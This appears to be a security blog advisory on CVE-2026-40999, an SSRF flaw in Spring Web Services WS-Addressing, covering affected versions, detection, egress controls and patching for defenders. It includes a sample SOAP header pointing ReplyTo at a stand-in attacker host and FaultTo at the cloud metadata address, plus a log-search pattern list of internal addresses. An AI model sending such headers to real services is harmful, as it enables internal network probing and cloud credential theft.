CVE-2026-40999: Spring WS SSRF via unvalidated WS-Addressing
High CVSS (8.6) vulnerability; prioritize internet-facing assets.
| Field | Value |
|---|---|
| CVE ID | CVE-2026-40999 |
| CVSS score | 8.6 |
| Attack vector | Unknown from the provided NVD output |
| Auth required | Unknown from the provided NVD output |
| Patch status | Yes, patched releases are available; fix boundaries should be confirmed against the official Spring advisory |
| Exploitation in the wild | No primary-source confirmation found |
| Public PoC | No verified public PoC found in the retrieved primary-source material |
TL;DR - Spring Web Services can make outbound requests to attacker-supplied WS-Addressing
ReplyToorFaultTodestinations. - Affected: Spring WS5.0.0 through 5.0.1,4.1.0 through 4.1.3,4.0.0 through 4.0.18,3.1.0 through 3.1.8. - Prioritize upgrades and egress controls now, especially for internet-facing SOAP services.
What this vulnerability is and why it matters
CVE-2026-40999 is a server-side request forgery (SSRF) issue in Spring Web Services. When WS-Addressing is used with non-anonymous ReplyTo or FaultTo addresses, Spring WS may initiate outbound connections through configured WebServiceMessageSender instances to destinations taken directly from request headers without verifying those destinations are safe.
This vulnerability is significant because SSRF can turn your application server into a network client under attacker influence. Even if the vulnerable SOAP endpoint does not expose direct code execution or data access on its own, an SSRF primitive can allow an attacker to probe internal services, access internal administration interfaces, trigger requests to cloud metadata endpoints, or map the environment from a trusted network position.
For defenders, the immediate takeaway is simple: if you run Spring WS-based SOAP services, especially internet-facing ones, assume this is operationally significant until you verify whether WS-Addressing reply routing is used and whether outbound connectivity is constrained.
Affected versions and fixed releases
The NVD description lists the affected Spring Web Services version ranges as:
Spring Web Services 5.0.0 through 5.0.1Spring Web Services 4.1.0 through 4.1.3Spring Web Services 4.0.0 through 4.0.18Spring Web Services 3.1.0 through 3.1.8
The likely fixed boundaries are:
5.0.2+4.1.4+4.0.19+3.1.9+
Defenders should confirm the exact patched version for their branch against the official Spring advisory.
Exploitation status and defender assumptions
At the time of writing, there is no primary-source confirmation that CVE-2026-40999 is being exploited in the wild. The absence of confirmed exploitation should be treated as “no public confirmation yet,” not as evidence of safety.
If a field is unknown, defenders should assume the conservative case. Organizations should verify the exact exposure in their own environment.
How attackers could use it in practice
An attacker sends a SOAP request containing WS-Addressing headers with non-anonymous ReplyTo or FaultTo values. If the application accepts those values and Spring WS passes them to a configured WebServiceMessageSender, the server may initiate an outbound connection to the attacker-chosen destination.
The severity depends heavily on architecture. A tightly segmented service with deny-by-default egress filtering is in a much better position than a flat network where application servers can connect broadly across internal subnets and the public internet.
Technical Notes
A simplified example of the risky input pattern is a SOAP message with WS-Addressing headers such as:
<wsa:ReplyTo>
<wsa:Address>http://attacker-controlled.example/callback</wsa:Address>
</wsa:ReplyTo>
<wsa:FaultTo>
<wsa:Address>http://169.254.169.254/latest/meta-data/</wsa:Address>
</wsa:FaultTo>
Detection and exposure assessment
Determine whether your environment uses Spring Web Services and whether WS-Addressing is enabled for any exposed service. Look for inbound SOAP requests carrying suspicious WS-Addressing headers and outbound connections from the application host that line up with SOAP request timing.
Technical Notes
Example text patterns to search for in HTTP or application logs:
ReplyTo
FaultTo
wsa:ReplyTo
wsa:FaultTo
169.254.169.254
127.0.0.1
localhost
10.
172.16.
192.168.
Mitigation and patching
The primary mitigation is to upgrade out of the affected versions. Organizations should target at least Spring Web Services 5.0.2+, 4.1.4+, 4.0.19+, or 3.1.9+, with final confirmation against the official Spring advisory.
Where immediate upgrade is not possible, reduce exploitability by limiting outbound connectivity from the application tier. Deny access to metadata services, loopback, link-local space, and RFC1918 networks not strictly required.
Technical Notes
Example Maven dependency check:
mvn dependency:tree | grep -i "spring-ws"
What to do next
First, inventory Spring WS usage and identify whether any services fall into the affected ranges. Confirm whether WS-Addressing is enabled and whether non-anonymous ReplyTo or FaultTo processing is actually used.
Second, monitor for suspicious reply-destination headers and unusual outbound requests from the application hosts.
For more information on related topics, check out our articles on what is Zeek Bro and what is it used for and how to choose EDR for Mac macOS: a practical checklist.
This article may contain affiliate links. We earn a commission on qualifying purchases at no extra cost to you.